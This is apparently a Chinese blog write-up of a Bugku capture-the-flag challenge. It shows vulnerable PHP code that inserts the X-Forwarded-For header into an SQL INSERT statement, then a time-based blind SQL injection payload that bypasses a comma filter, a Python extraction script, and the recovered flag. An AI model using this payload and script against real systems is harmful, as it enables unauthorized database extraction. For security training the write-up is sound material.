美文网首页
Bugku-INSERT INTO 注入

Bugku-INSERT INTO 注入

作者: V0W | 来源:发表于2018-07-08 14:00 被阅读0次

INSERT INTO 注入

原题链接

http://120.24.86.145:8002/web15/

分析

题目给出源码

<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];     //XFF优先
}else{
$ip = $_SERVER['REMOTE_ADDR'];      //否则REMOTE_ADDR
}
$ip_arr = explode(',', $ip);        //过滤','
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";       //insert into注入点
mysql_query($sql);
?>

在请求中的X-Forwarded-For字段可以进行注入,但是这里被过滤了。

可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:

select case when (条件) then 代码1 else 代码 2 end;

而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:

127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +

python脚本:

# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
    print('正在猜测:', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

运行结果:

正在猜测: 1
C
正在猜测: 2
CD
正在猜测: 3
CDB
正在猜测: 4
CDBF
正在猜测: 5
CDBF1
正在猜测: 6
CDBF14
...
...
正在猜测: 28
CDBF14C9551D5BE5612F7BB5D286
正在猜测: 29
CDBF14C9551D5BE5612F7BB5D2867
正在猜测: 30
CDBF14C9551D5BE5612F7BB5D28678
正在猜测: 31
CDBF14C9551D5BE5612F7BB5D286785
正在猜测: 32
CDBF14C9551D5BE5612F7BB5D2867853

flag

flag{cdbf14c9551d5be5612f7bb5d2867853}

知识点

时间盲注,XXF,insert into 注入

参考链接

https://delcoding.github.io/2018/03/bugku-writeup3/

相关文章

  • Bugku-INSERT INTO 注入

    INSERT INTO 注入 原题链接 http://120.24.86.145:8002/web15/ 分析 题...

  • Day62 Spring 依赖注入源码解析

    手动注入自动注入 依赖注入,set注入,构造注入 依赖注入: Key依据 byType byName constr...

  • Groovy:元编程(方法注入)

    category分类注入 使用metaclass实现方法注入 静态方法注入 构造函数注入 混合注入

  • sql注入的一些笔记

    注入分类 数字型注入 -字符型注入 搜索型注入 XX型注入 注入提交方式 -get提交-post提交-cookie...

  • Spring三种bean注入方式

    Spring中依赖注入有三种注入方式:一、构造器注入;二、设值注入(setter方式注入);三、Feild方式注入...

  • Spring Bean 装配

    依赖注入的方式 依赖注入可以分为3种方式: 构造器注入。 setter注入。 接口注入。 其中构造器注入和 set...

  • Spring 学习心得(二)

    Spring IOC again 参数值注入 注入基本值 注入Bean对象 注入Spring表达式值 注入nul...

  • Spring之依赖注入

    六、依赖注入 目录:构造器注入、set注入、拓展注入实现、Bean的作用域依赖注入(Dependency Inje...

  • Spring的复杂类型注入

    注入方式 set方式注入,注入基本数值类型和引用类型 数组类型注入

  • spring

    18.7.22属性注入和构造器注入区别Spring也同时支持两种依赖注入方式:设值注入和构造注入。 这两种依赖注入...

网友评论

      本文标题:Bugku-INSERT INTO 注入

      本文链接:https://www.haomeiwen.com/subject/ojdouftx.html